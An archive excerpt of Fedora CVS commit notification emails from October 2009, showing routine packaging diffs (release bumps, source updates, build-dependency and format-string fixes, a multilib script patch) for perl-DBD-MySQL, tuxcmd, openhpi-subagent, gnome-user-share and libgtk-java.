===================================================================
RCS file: /cvs/extras/rpms/perl-DBD-MySQL/F-12/perl-DBD-MySQL.spec,v
retrieving revision 1.49
retrieving revision 1.50
diff -u -p -r1.49 -r1.50
--- perl-DBD-MySQL.spec	26 Oct 2009 10:11:53 -0000	1.49
+++ perl-DBD-MySQL.spec	26 Oct 2009 10:12:19 -0000	1.50
@@ -1,6 +1,6 @@
 Name:           perl-DBD-MySQL
 Version:        4.013
-Release:        1%{?dist}
+Release:        2%{?dist}
 Summary:        A MySQL interface for perl
 
 Group:          Development/Libraries



From kasal at fedoraproject.org  Mon Oct 26 10:12:23 2009
From: kasal at fedoraproject.org (=?utf-8?b?xaB0xJtww6FuIEthc2Fs?=)
Date: Mon, 26 Oct 2009 10:12:23 +0000 (UTC)
Subject: rpms/perl-DBD-MySQL/devel perl-DBD-MySQL.spec,1.49,1.50
Message-ID: <20091026101223.A131A11C0268@cvs1.fedora.phx.redhat.com>

Author: kasal

Update of /cvs/extras/rpms/perl-DBD-MySQL/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21716

Modified Files:
	perl-DBD-MySQL.spec 
Log Message:
bump release


Index: perl-DBD-MySQL.spec
===================================================================
RCS file: /cvs/extras/rpms/perl-DBD-MySQL/devel/perl-DBD-MySQL.spec,v
retrieving revision 1.49
retrieving revision 1.50
diff -u -p -r1.49 -r1.50
--- perl-DBD-MySQL.spec	26 Oct 2009 10:11:01 -0000	1.49
+++ perl-DBD-MySQL.spec	26 Oct 2009 10:12:23 -0000	1.50
@@ -1,6 +1,6 @@
 Name:           perl-DBD-MySQL
 Version:        4.013
-Release:        1%{?dist}
+Release:        2%{?dist}
 Summary:        A MySQL interface for perl
 
 Group:          Development/Libraries



From tbzatek at fedoraproject.org  Mon Oct 26 10:12:50 2009
From: tbzatek at fedoraproject.org (Tomas Bzatek)
Date: Mon, 26 Oct 2009 10:12:50 +0000 (UTC)
Subject: rpms/tuxcmd/F-12 .cvsignore, 1.6, 1.7 sources, 1.6, 1.7 tuxcmd.spec,
	1.16, 1.17 tuxcmd-0.6.36-libc.patch, 1.1,
	NONE tuxcmd-0.6.62-lib64.patch, 1.1, NONE tuxcmd.desktop, 1.1,
	NONE tuxcmd.png, 1.2, NONE
Message-ID: <20091026101250.6720911C0268@cvs1.fedora.phx.redhat.com>

Author: tbzatek

Update of /cvs/extras/rpms/tuxcmd/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21949

Modified Files:
	.cvsignore sources tuxcmd.spec 
Removed Files:
	tuxcmd-0.6.36-libc.patch tuxcmd-0.6.62-lib64.patch 
	tuxcmd.desktop tuxcmd.png 
Log Message:
* Mon Oct 26 2009 Tomas Bzatek <tbzatek at redhat.com> 0.6.69-git20091026.1
- Rebase to latest git
- Enable PowerPC architectures



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/tuxcmd/F-12/.cvsignore,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- .cvsignore	9 Apr 2009 10:22:40 -0000	1.6
+++ .cvsignore	26 Oct 2009 10:12:49 -0000	1.7
@@ -1,2 +1,2 @@
-tuxcmd-0.6.62.git20090409.tar.bz2
-tuxcmd-modules-0.6.62.git20090409.tar.bz2
+tuxcmd-0.6.69.git20091026.tar.bz2
+tuxcmd-modules-0.6.69.git20091026.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/tuxcmd/F-12/sources,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- sources	9 Apr 2009 10:22:40 -0000	1.6
+++ sources	26 Oct 2009 10:12:49 -0000	1.7
@@ -1,2 +1,2 @@
-e5a675fb29e4df6d73ff8a4ad26d94bf  tuxcmd-0.6.62.git20090409.tar.bz2
-ddaff924b6a3e340e066a6b670ff922f  tuxcmd-modules-0.6.62.git20090409.tar.bz2
+8f1c4ae4b1df121d9c6d527e16909e5b  tuxcmd-0.6.69.git20091026.tar.bz2
+f908778f267d862c22e37ad3c957cea0  tuxcmd-modules-0.6.69.git20091026.tar.bz2


Index: tuxcmd.spec
===================================================================
RCS file: /cvs/extras/rpms/tuxcmd/F-12/tuxcmd.spec,v
retrieving revision 1.16
retrieving revision 1.17
diff -u -p -r1.16 -r1.17
--- tuxcmd.spec	27 Jul 2009 06:22:37 -0000	1.16
+++ tuxcmd.spec	26 Oct 2009 10:12:50 -0000	1.17
@@ -1,33 +1,28 @@
 Name:           tuxcmd
-Version:        0.6.62
-Release:        git20090409.2%{?dist}.1
+Version:        0.6.69
+Release:        git20091026.1%{?dist}
 Summary:        Tux Commander: file manager with 2 panels side by side using GTK2
 
 Group:          Applications/File
 License:        GPLv2+
 
 # FreePascal restrictions
-ExclusiveArch:  %{ix86} x86_64  
+ExcludeArch:    s390 s390x
 
 URL:            http://tuxcmd.sourceforge.net/
 # Source0:        http://downloads.sourceforge.net/%{name}/%{name}-%{version}.tar.bz2
 # Source1:        http://downloads.sourceforge.net/%{name}/%{name}-modules-%{version}.tar.bz2
-Source0:        %{name}-%{version}.git20090409.tar.bz2
-Source1:        %{name}-modules-%{version}.git20090409.tar.bz2
-Source2:        %{name}.desktop
-Source3:        tuxcmd.png
+Source0:        %{name}-%{version}.git20091026.tar.bz2
+Source1:        %{name}-modules-%{version}.git20091026.tar.bz2
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
-BuildRequires: fpc >= 2.2.2-2
+BuildRequires: fpc >= 2.2.4-4%{?dist}.2
 BuildRequires: gtk2-devel
 BuildRequires: desktop-file-utils
 
 # turn smartlinking off, not needed anymore with fpc-2.2.2-2
 Patch4: tuxcmd-disable-smartlinking.patch
 
-# enable searching for modules in lib64 dirs
-Patch5: tuxcmd-0.6.62-lib64.patch
-
 %description
 Tux Commander is open-source file manager with 2 panels side by side written
 for GTK2. The main goal of this project is to create powerful user-friendly
@@ -66,11 +61,10 @@ This package contains networking GVFS mo
 %setup -q -b 1
 
 %patch4 -p1 -b .disable-smartlinking
-%patch5 -p1 -b .lib64
 
 %build
 
-make debug
+make final_debug
 
 # build modules
 cd ../%{name}-modules-%{version}
@@ -80,9 +74,9 @@ make CC="gcc %{optflags}" CPP="g++ %{opt
 %install
 rm -rf $RPM_BUILD_ROOT
 make install DESTDIR=$RPM_BUILD_ROOT/usr
-mkdir -p $RPM_BUILD_ROOT%{_datadir}/pixmaps
-desktop-file-install --vendor="" --dir=${RPM_BUILD_ROOT}%{_datadir}/applications %{SOURCE2}
-cp -p %{SOURCE3} $RPM_BUILD_ROOT%{_datadir}/pixmaps/
+desktop-file-install --delete-original  \
+  --dir $RPM_BUILD_ROOT%{_datadir}/applications \
+    $RPM_BUILD_ROOT%{_datadir}/applications/tuxcmd.desktop
 
 find $RPM_BUILD_ROOT -name COPYING -exec rm -f {} ';'
 find $RPM_BUILD_ROOT -name README -exec rm -f {} ';'
@@ -101,6 +95,20 @@ cp -pr zip/{COPYING,README} doc/zip
 rm -rf $RPM_BUILD_ROOT
 
 
+%post
+update-desktop-database %{_datadir}/applications &> /dev/null
+touch --no-create %{_datadir}/icons/hicolor
+if [ -x /usr/bin/gtk-update-icon-cache ]; then
+  gtk-update-icon-cache -q %{_datadir}/icons/hicolor
+fi
+
+%postun
+update-desktop-database %{_datadir}/applications &> /dev/null
+touch --no-create %{_datadir}/icons/hicolor
+if [ -x /usr/bin/gtk-update-icon-cache ]; then
+  gtk-update-icon-cache -q %{_datadir}/icons/hicolor
+fi
+
 
 %files
 %defattr(-,root,root,-)
@@ -108,7 +116,9 @@ rm -rf $RPM_BUILD_ROOT
 %dir %{_libdir}/tuxcmd
 %{_bindir}/tuxcmd
 %{_datadir}/applications/%{name}.desktop
-%{_datadir}/pixmaps/tuxcmd.png
+%{_datadir}/icons/hicolor/*/apps/*.png
+%{_datadir}/icons/hicolor/scalable/apps/*.svg
+
 
 %files modules
 %defattr(-,root,root,-)
@@ -125,6 +135,10 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Mon Oct 26 2009 Tomas Bzatek <tbzatek at redhat.com> 0.6.69-git20091026.1
+- Rebase to latest git
+- Enable PowerPC architectures
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.6.62-git20090409.2.1
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


--- tuxcmd-0.6.36-libc.patch DELETED ---


--- tuxcmd-0.6.62-lib64.patch DELETED ---


--- tuxcmd.desktop DELETED ---



From sharkcz at fedoraproject.org  Mon Oct 26 10:15:16 2009
From: sharkcz at fedoraproject.org (=?utf-8?q?Dan_Hor=C3=A1k?=)
Date: Mon, 26 Oct 2009 10:15:16 +0000 (UTC)
Subject: rpms/openhpi-subagent/devel openhpi-subagent-2.3.4-format.patch, 1.1,
	1.2 openhpi-subagent.spec, 1.7, 1.8
Message-ID: <20091026101516.4890311C029D@cvs1.fedora.phx.redhat.com>

Author: sharkcz

Update of /cvs/pkgs/rpms/openhpi-subagent/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22455

Modified Files:
	openhpi-subagent-2.3.4-format.patch openhpi-subagent.spec 
Log Message:
* Mon Oct 26 2009 Dan Hor?k <dan[at]danny.cz> - 2.3.4-9
- little update to the format patch for i386


openhpi-subagent-2.3.4-format.patch:
 saHpiAnnouncementTable.c      |    4 ++--
 saHpiAreaTable.c              |    2 +-
 saHpiAutoInsertTimeoutTable.c |    2 +-
 saHpiDomainInfoTable.c        |    2 +-
 saHpiDomainReferenceTable.c   |    2 +-
 saHpiEventLogInfoTable.c      |    2 +-
 saHpiFieldTable.c             |    2 +-
 saHpiHotSwapTable.c           |    2 +-
 saHpiRdrTable.c               |    6 +++---
 saHpiResourceTable.c          |   10 +++++-----
 saHpiUserEventLogTable.c      |    2 +-
 saHpiUserEventTable.c         |    2 +-
 12 files changed, 19 insertions(+), 19 deletions(-)

Index: openhpi-subagent-2.3.4-format.patch
===================================================================
RCS file: /cvs/pkgs/rpms/openhpi-subagent/devel/openhpi-subagent-2.3.4-format.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- openhpi-subagent-2.3.4-format.patch	23 Oct 2009 12:35:42 -0000	1.1
+++ openhpi-subagent-2.3.4-format.patch	26 Oct 2009 10:15:15 -0000	1.2
@@ -1,6 +1,6 @@
 diff -Nrup openhpi-subagent-2.3.4.orig/src/saHpiAnnouncementTable.c openhpi-subagent-2.3.4/src/saHpiAnnouncementTable.c
 --- openhpi-subagent-2.3.4.orig/src/saHpiAnnouncementTable.c	2006-09-13 17:41:26.000000000 +0200
-+++ openhpi-subagent-2.3.4/src/saHpiAnnouncementTable.c	2009-10-23 13:34:12.000000000 +0200
++++ openhpi-subagent-2.3.4/src/saHpiAnnouncementTable.c	2009-10-26 11:04:01.000000000 +0100
 @@ -429,7 +429,7 @@ int announcement_add (saHpiAnnouncementT
                  if (rc != SA_OK) {
                          DEBUGMSGTL ((AGENT, 
@@ -21,7 +21,7 @@ diff -Nrup openhpi-subagent-2.3.4.orig/s
                  }
 diff -Nrup openhpi-subagent-2.3.4.orig/src/saHpiAreaTable.c openhpi-subagent-2.3.4/src/saHpiAreaTable.c
 --- openhpi-subagent-2.3.4.orig/src/saHpiAreaTable.c	2006-09-13 17:41:26.000000000 +0200
-+++ openhpi-subagent-2.3.4/src/saHpiAreaTable.c	2009-10-23 13:34:12.000000000 +0200
++++ openhpi-subagent-2.3.4/src/saHpiAreaTable.c	2009-10-26 11:04:01.000000000 +0100
 @@ -1111,7 +1111,7 @@ void saHpiAreaTable_set_reserve1( netsnm
                                          dri_entry->entry_id++;
                                  } else {
@@ -33,7 +33,7 @@ diff -Nrup openhpi-subagent-2.3.4.orig/s
                                          rc = SNMP_ERR_WRONGVALUE;
 diff -Nrup openhpi-subagent-2.3.4.orig/src/saHpiAutoInsertTimeoutTable.c openhpi-subagent-2.3.4/src/saHpiAutoInsertTimeoutTable.c
 --- openhpi-subagent-2.3.4.orig/src/saHpiAutoInsertTimeoutTable.c	2006-09-13 17:41:26.000000000 +0200
-+++ openhpi-subagent-2.3.4/src/saHpiAutoInsertTimeoutTable.c	2009-10-23 13:34:12.000000000 +0200
++++ openhpi-subagent-2.3.4/src/saHpiAutoInsertTimeoutTable.c	2009-10-26 11:04:01.000000000 +0100
 @@ -587,7 +587,7 @@ void saHpiAutoInsertTimeoutTable_set_res
                              rc = SNMP_ERR_WRONGLENGTH;
                              DEBUGMSGTL ((AGENT, 
@@ -45,7 +45,7 @@ diff -Nrup openhpi-subagent-2.3.4.orig/s
          break;
 diff -Nrup openhpi-subagent-2.3.4.orig/src/saHpiDomainInfoTable.c openhpi-subagent-2.3.4/src/saHpiDomainInfoTable.c
 --- openhpi-subagent-2.3.4.orig/src/saHpiDomainInfoTable.c	2006-09-13 17:41:26.000000000 +0200
-+++ openhpi-subagent-2.3.4/src/saHpiDomainInfoTable.c	2009-10-23 13:33:55.000000000 +0200
++++ openhpi-subagent-2.3.4/src/saHpiDomainInfoTable.c	2009-10-26 11:04:01.000000000 +0100
 @@ -350,7 +350,7 @@ int handle_saHpiDomainInfoActiveEntries(
                            netsnmp_agent_request_info   *reqinfo,
                            netsnmp_request_info         *requests)
@@ -57,7 +57,7 @@ diff -Nrup openhpi-subagent-2.3.4.orig/s
      /* We are never called for a GETNEXT if it's registered as a
 diff -Nrup openhpi-subagent-2.3.4.orig/src/saHpiDomainReferenceTable.c openhpi-subagent-2.3.4/src/saHpiDomainReferenceTable.c
 --- openhpi-subagent-2.3.4.orig/src/saHpiDomainReferenceTable.c	2006-09-13 17:41:26.000000000 +0200
-+++ openhpi-subagent-2.3.4/src/saHpiDomainReferenceTable.c	2009-10-23 13:34:12.000000000 +0200
++++ openhpi-subagent-2.3.4/src/saHpiDomainReferenceTable.c	2009-10-26 11:04:01.000000000 +0100
 @@ -220,7 +220,7 @@ handle_saHpiDomainReferenceActiveEntries
                            netsnmp_request_info         *requests)
  {
@@ -69,7 +69,7 @@ diff -Nrup openhpi-subagent-2.3.4.orig/s
      domain_reference_entry_count = CONTAINER_SIZE (cb.container);
 diff -Nrup openhpi-subagent-2.3.4.orig/src/saHpiEventLogInfoTable.c openhpi-subagent-2.3.4/src/saHpiEventLogInfoTable.c
 --- openhpi-subagent-2.3.4.orig/src/saHpiEventLogInfoTable.c	2006-09-13 17:41:26.000000000 +0200
-+++ openhpi-subagent-2.3.4/src/saHpiEventLogInfoTable.c	2009-10-23 13:34:12.000000000 +0200
++++ openhpi-subagent-2.3.4/src/saHpiEventLogInfoTable.c	2009-10-26 11:04:01.000000000 +0100
 @@ -1184,7 +1184,7 @@ void saHpiEventLogInfoTable_set_reserve1
                              rc = SNMP_ERR_WRONGLENGTH;
                              DEBUGMSGTL ((AGENT, 
@@ -81,7 +81,7 @@ diff -Nrup openhpi-subagent-2.3.4.orig/s
  
 diff -Nrup openhpi-subagent-2.3.4.orig/src/saHpiFieldTable.c openhpi-subagent-2.3.4/src/saHpiFieldTable.c
 --- openhpi-subagent-2.3.4.orig/src/saHpiFieldTable.c	2006-09-13 17:41:26.000000000 +0200
-+++ openhpi-subagent-2.3.4/src/saHpiFieldTable.c	2009-10-23 13:34:12.000000000 +0200
++++ openhpi-subagent-2.3.4/src/saHpiFieldTable.c	2009-10-26 11:04:01.000000000 +0100
 @@ -1409,7 +1409,7 @@ void saHpiFieldTable_set_reserve1( netsn
                      } else {
                              DEBUGMSGTL ((AGENT,"***********************************************\n"));
@@ -93,7 +93,7 @@ diff -Nrup openhpi-subagent-2.3.4.orig/s
                                           "ERROR: saHpiFieldTable_set_reserve1() User specified FieldId invalid!!!\n"));
 diff -Nrup openhpi-subagent-2.3.4.orig/src/saHpiHotSwapTable.c openhpi-subagent-2.3.4/src/saHpiHotSwapTable.c
 --- openhpi-subagent-2.3.4.orig/src/saHpiHotSwapTable.c	2006-09-13 17:41:26.000000000 +0200
-+++ openhpi-subagent-2.3.4/src/saHpiHotSwapTable.c	2009-10-23 13:34:12.000000000 +0200
++++ openhpi-subagent-2.3.4/src/saHpiHotSwapTable.c	2009-10-26 11:04:01.000000000 +0100
 @@ -997,7 +997,7 @@ void saHpiHotSwapTable_set_reserve1( net
                              rc = SNMP_ERR_WRONGLENGTH;
                              DEBUGMSGTL ((AGENT, 
@@ -105,7 +105,7 @@ diff -Nrup openhpi-subagent-2.3.4.orig/s
              break;
 diff -Nrup openhpi-subagent-2.3.4.orig/src/saHpiRdrTable.c openhpi-subagent-2.3.4/src/saHpiRdrTable.c
 --- openhpi-subagent-2.3.4.orig/src/saHpiRdrTable.c	2006-09-13 17:41:26.000000000 +0200
-+++ openhpi-subagent-2.3.4/src/saHpiRdrTable.c	2009-10-23 13:34:12.000000000 +0200
++++ openhpi-subagent-2.3.4/src/saHpiRdrTable.c	2009-10-26 11:04:01.000000000 +0100
 @@ -492,7 +492,7 @@ int populate_saHpiRdrTable(SaHpiSessionI
  	
  	rdr_entry_count = CONTAINER_SIZE (cb.container);
@@ -128,16 +128,18 @@ diff -Nrup openhpi-subagent-2.3.4.orig/s
                          row_idx = CONTAINER_NEXT(cb.container, row_idx);
 diff -Nrup openhpi-subagent-2.3.4.orig/src/saHpiResourceTable.c openhpi-subagent-2.3.4/src/saHpiResourceTable.c
 --- openhpi-subagent-2.3.4.orig/src/saHpiResourceTable.c	2006-09-13 17:41:26.000000000 +0200
-+++ openhpi-subagent-2.3.4/src/saHpiResourceTable.c	2009-10-23 13:34:12.000000000 +0200
-@@ -254,7 +254,7 @@ int populate_saHpiResourceTable(SaHpiSes
++++ openhpi-subagent-2.3.4/src/saHpiResourceTable.c	2009-10-26 11:04:07.000000000 +0100
+@@ -254,8 +254,8 @@ int populate_saHpiResourceTable(SaHpiSes
  
  		DEBUGMSGTL ((AGENT, "populate_saHpiResourceTable RptEntry.ResourceTag.DataLength rv = %d\n", 
                               RptEntry.ResourceTag.DataLength));
 -		DEBUGMSGTL ((AGENT, "populate_saHpiResourceTable strlen(RptEntry.ResourceTag.Data) rv = %d\n", 
+-                             strlen((const char *)RptEntry.ResourceTag.Data))); 
 +		DEBUGMSGTL ((AGENT, "populate_saHpiResourceTable strlen(RptEntry.ResourceTag.Data) rv = %ld\n", 
-                              strlen((const char *)RptEntry.ResourceTag.Data))); 
++                             (long)strlen((const char *)RptEntry.ResourceTag.Data))); 
  
  
+ 		/** INTEGER = ASN_INTEGER */
 @@ -322,7 +322,7 @@ int populate_saHpiResourceTable(SaHpiSes
  
  	resource_entry_count = CONTAINER_SIZE (cb.container);
@@ -167,7 +169,7 @@ diff -Nrup openhpi-subagent-2.3.4.orig/s
  	/* We are never called for a GETNEXT if it's registered as a
 diff -Nrup openhpi-subagent-2.3.4.orig/src/saHpiUserEventLogTable.c openhpi-subagent-2.3.4/src/saHpiUserEventLogTable.c
 --- openhpi-subagent-2.3.4.orig/src/saHpiUserEventLogTable.c	2006-09-13 17:41:26.000000000 +0200
-+++ openhpi-subagent-2.3.4/src/saHpiUserEventLogTable.c	2009-10-23 13:34:12.000000000 +0200
++++ openhpi-subagent-2.3.4/src/saHpiUserEventLogTable.c	2009-10-26 11:04:01.000000000 +0100
 @@ -1076,7 +1076,7 @@ void saHpiUserEventLogTable_set_reserve1
                      } else {
                              DEBUGMSGTL ((AGENT,"***********************************************\n"));
@@ -179,7 +181,7 @@ diff -Nrup openhpi-subagent-2.3.4.orig/s
                                           "ERROR: saHpiUserEventLogTable_set_reserve1() "
 diff -Nrup openhpi-subagent-2.3.4.orig/src/saHpiUserEventTable.c openhpi-subagent-2.3.4/src/saHpiUserEventTable.c
 --- openhpi-subagent-2.3.4.orig/src/saHpiUserEventTable.c	2006-09-13 17:41:26.000000000 +0200
-+++ openhpi-subagent-2.3.4/src/saHpiUserEventTable.c	2009-10-23 13:34:12.000000000 +0200
++++ openhpi-subagent-2.3.4/src/saHpiUserEventTable.c	2009-10-26 11:04:01.000000000 +0100
 @@ -1158,7 +1158,7 @@ void saHpiUserEventTable_set_reserve1( n
                      } else {
                              DEBUGMSGTL ((AGENT,"***********************************************\n"));


Index: openhpi-subagent.spec
===================================================================
RCS file: /cvs/pkgs/rpms/openhpi-subagent/devel/openhpi-subagent.spec,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- openhpi-subagent.spec	23 Oct 2009 12:35:42 -0000	1.7
+++ openhpi-subagent.spec	26 Oct 2009 10:15:15 -0000	1.8
@@ -1,6 +1,6 @@
 Name:           openhpi-subagent
 Version:        2.3.4
-Release:        8%{?dist}
+Release:        9%{?dist}
 Summary:        NetSNMP subagent for OpenHPI
 
 Group:          System Environment/Base
@@ -69,6 +69,9 @@ fi
 %{_datadir}/snmp/mibs/*.mib
 
 %changelog
+* Mon Oct 26 2009 Dan Hor?k <dan[at]danny.cz> - 2.3.4-9
+- little update to the format patch for i386
+
 * Fri Oct 23 2009 Dan Hor?k <dan[at]danny.cz> - 2.3.4-8
 - fix build with net-snmp >= 5.5 (#524263)
 



From hadess at fedoraproject.org  Mon Oct 26 10:32:16 2009
From: hadess at fedoraproject.org (Bastien Nocera)
Date: Mon, 26 Oct 2009 10:32:16 +0000 (UTC)
Subject: rpms/gnome-user-share/devel .cvsignore, 1.21,
	1.22 gnome-user-share.spec, 1.64, 1.65 sources, 1.21, 1.22
Message-ID: <20091026103216.2A01B11C0268@cvs1.fedora.phx.redhat.com>

Author: hadess

Update of /cvs/pkgs/rpms/gnome-user-share/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25918

Modified Files:
	.cvsignore gnome-user-share.spec sources 
Log Message:
* Mon Oct 26 2009 Bastien Nocera <bnocera at redhat.com> 2.28.1-1
- Update to 2.28.1



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-user-share/devel/.cvsignore,v
retrieving revision 1.21
retrieving revision 1.22
diff -u -p -r1.21 -r1.22
--- .cvsignore	21 Sep 2009 11:28:22 -0000	1.21
+++ .cvsignore	26 Oct 2009 10:32:15 -0000	1.22
@@ -1 +1 @@
-gnome-user-share-2.28.0.tar.bz2
+gnome-user-share-2.28.1.tar.bz2


Index: gnome-user-share.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-user-share/devel/gnome-user-share.spec,v
retrieving revision 1.64
retrieving revision 1.65
diff -u -p -r1.64 -r1.65
--- gnome-user-share.spec	21 Sep 2009 11:29:08 -0000	1.64
+++ gnome-user-share.spec	26 Oct 2009 10:32:15 -0000	1.65
@@ -1,6 +1,6 @@
 Summary: Gnome user file sharing
 Name: gnome-user-share
-Version: 2.28.0
+Version: 2.28.1
 Release: 1%{?dist}
 License: GPLv2+
 Group: System Environment/Libraries
@@ -134,6 +134,9 @@ fi
 %{_libdir}/nautilus/extensions-2.0/*.so
 
 %changelog
+* Mon Oct 26 2009 Bastien Nocera <bnocera at redhat.com> 2.28.1-1
+- Update to 2.28.1
+
 * Mon Sep 21 2009 Bastien Nocera <bnocera at redhat.com> 2.28.0-1
 - Update to 2.28.0
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-user-share/devel/sources,v
retrieving revision 1.21
retrieving revision 1.22
diff -u -p -r1.21 -r1.22
--- sources	21 Sep 2009 11:28:22 -0000	1.21
+++ sources	26 Oct 2009 10:32:15 -0000	1.22
@@ -1 +1 @@
-8ccaca15e42036b42a54f997ffbac3a7  gnome-user-share-2.28.0.tar.bz2
+4dde75de682805357af5995a748d6e4e  gnome-user-share-2.28.1.tar.bz2



From hadess at fedoraproject.org  Mon Oct 26 10:39:09 2009
From: hadess at fedoraproject.org (Bastien Nocera)
Date: Mon, 26 Oct 2009 10:39:09 +0000 (UTC)
Subject: rpms/gnome-user-share/devel gnome-user-share.spec,1.65,1.66
Message-ID: <20091026103909.5ABA911C0268@cvs1.fedora.phx.redhat.com>

Author: hadess

Update of /cvs/pkgs/rpms/gnome-user-share/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28588

Modified Files:
	gnome-user-share.spec 
Log Message:
add missing BR


Index: gnome-user-share.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-user-share/devel/gnome-user-share.spec,v
retrieving revision 1.65
retrieving revision 1.66
diff -u -p -r1.65 -r1.66
--- gnome-user-share.spec	26 Oct 2009 10:32:15 -0000	1.65
+++ gnome-user-share.spec	26 Oct 2009 10:39:09 -0000	1.66
@@ -25,6 +25,7 @@ BuildRequires: gnome-doc-utils
 BuildRequires: libselinux-devel
 BuildRequires: dbus-glib-devel
 BuildRequires: libnotify-devel
+BuildRequires: libcanberra-devel
 BuildRequires: nautilus-devel
 BuildRequires: gettext
 BuildRequires: perl(XML::Parser) intltool



From hadess at fedoraproject.org  Mon Oct 26 10:46:34 2009
From: hadess at fedoraproject.org (Bastien Nocera)
Date: Mon, 26 Oct 2009 10:46:34 +0000 (UTC)
Subject: rpms/gnome-user-share/F-11 .cvsignore, 1.20,
	1.21 gnome-user-share.spec, 1.56, 1.57 sources, 1.20, 1.21
Message-ID: <20091026104634.C385B11C0268@cvs1.fedora.phx.redhat.com>

Author: hadess

Update of /cvs/pkgs/rpms/gnome-user-share/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30208

Modified Files:
	.cvsignore gnome-user-share.spec sources 
Log Message:
* Mon Oct 26 2009 Bastien Nocera <bnocera at redhat.com> 2.28.1-1
- Update to 2.28.1



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-user-share/F-11/.cvsignore,v
retrieving revision 1.20
retrieving revision 1.21
diff -u -p -r1.20 -r1.21
--- .cvsignore	20 Oct 2009 15:54:45 -0000	1.20
+++ .cvsignore	26 Oct 2009 10:46:34 -0000	1.21
@@ -1 +1 @@
-gnome-user-share-2.28.0.tar.bz2
+gnome-user-share-2.28.1.tar.bz2


Index: gnome-user-share.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-user-share/F-11/gnome-user-share.spec,v
retrieving revision 1.56
retrieving revision 1.57
diff -u -p -r1.56 -r1.57
--- gnome-user-share.spec	20 Oct 2009 16:23:38 -0000	1.56
+++ gnome-user-share.spec	26 Oct 2009 10:46:34 -0000	1.57
@@ -1,6 +1,6 @@
 Summary: Gnome user file sharing
 Name: gnome-user-share
-Version: 2.28.0
+Version: 2.28.1
 Release: 1%{?dist}
 License: GPLv2+
 Group: System Environment/Libraries
@@ -20,6 +20,7 @@ BuildRequires: GConf2-devel pkgconfig
 BuildRequires: gtk2-devel >= 2.4.0
 BuildRequires: httpd >= 2.2.0 mod_dnssd >= 0.6
 BuildRequires: gnome-bluetooth-libs-devel
+BuildRequires: libcanberra-devel
 BuildRequires: desktop-file-utils
 BuildRequires: gnome-doc-utils
 BuildRequires: libselinux-devel
@@ -134,6 +135,9 @@ fi
 %{_libdir}/nautilus/extensions-2.0/*.so
 
 %changelog
+* Mon Oct 26 2009 Bastien Nocera <bnocera at redhat.com> 2.28.1-1
+- Update to 2.28.1
+
 * Tue Oct 20 2009 Bastien Nocera <bnocera at redhat.com> 2.28.0-1
 - Update to 2.28.0
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-user-share/F-11/sources,v
retrieving revision 1.20
retrieving revision 1.21
diff -u -p -r1.20 -r1.21
--- sources	20 Oct 2009 15:54:45 -0000	1.20
+++ sources	26 Oct 2009 10:46:34 -0000	1.21
@@ -1 +1 @@
-8ccaca15e42036b42a54f997ffbac3a7  gnome-user-share-2.28.0.tar.bz2
+4dde75de682805357af5995a748d6e4e  gnome-user-share-2.28.1.tar.bz2



From kasal at fedoraproject.org  Mon Oct 26 10:48:17 2009
From: kasal at fedoraproject.org (=?utf-8?b?xaB0xJtww6FuIEthc2Fs?=)
Date: Mon, 26 Oct 2009 10:48:17 +0000 (UTC)
Subject: rpms/libgtk-java/F-12 libgtk-java-multilib.patch,NONE,1.1
Message-ID: <20091026104817.ECFE911C02C6@cvs1.fedora.phx.redhat.com>

Author: kasal

Update of /cvs/extras/rpms/libgtk-java/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30574

Added Files:
	libgtk-java-multilib.patch 
Log Message:
- fix multilib problem with an example script (#342171)]

libgtk-java-multilib.patch:
 runExample.sh.in |    5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

--- NEW FILE libgtk-java-multilib.patch ---
2009-04-27  Stepan Kasal  <skasal at redhat.com>

	* doc/examples/runExample.sh.in: Remove @libdir@, to prevent a
	multilib problem with this example script.

--- libgtk-java-2.8.7/doc/examples/runExample.sh.in.orig	2005-04-13 10:17:39.000000000 +0200
+++ libgtk-java-2.8.7/doc/examples/runExample.sh.in	2009-04-27 18:11:09.000000000 +0200
@@ -5,7 +5,10 @@
 
 prefix=@prefix@
 exec_prefix=@exec_prefix@
-libdir=@libdir@
+case $(uname -m) in #(
+*64 | s390x ) libdir=$exec_prefix/lib64 ;;
+* ) libdir=$exec_prefix/lib ;;
+esac
 classpath=@INSTALLED_CLASSPATH@
 
 GTK_LIB=$libdir



From kasal at fedoraproject.org  Mon Oct 26 10:50:22 2009
From: kasal at fedoraproject.org (=?utf-8?b?xaB0xJtww6FuIEthc2Fs?=)
Date: Mon, 26 Oct 2009 10:50:22 +0000 (UTC)
Subject: rpms/libgtk-java/devel libgtk-java-multilib.patch,NONE,1.1
Message-ID: <20091026105022.637EF11C02BB@cvs1.fedora.phx.redhat.com>

Author: kasal

Update of /cvs/extras/rpms/libgtk-java/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30951

Added Files:
	libgtk-java-multilib.patch 
Log Message:
- fix multilib problem with an example script (#342171)

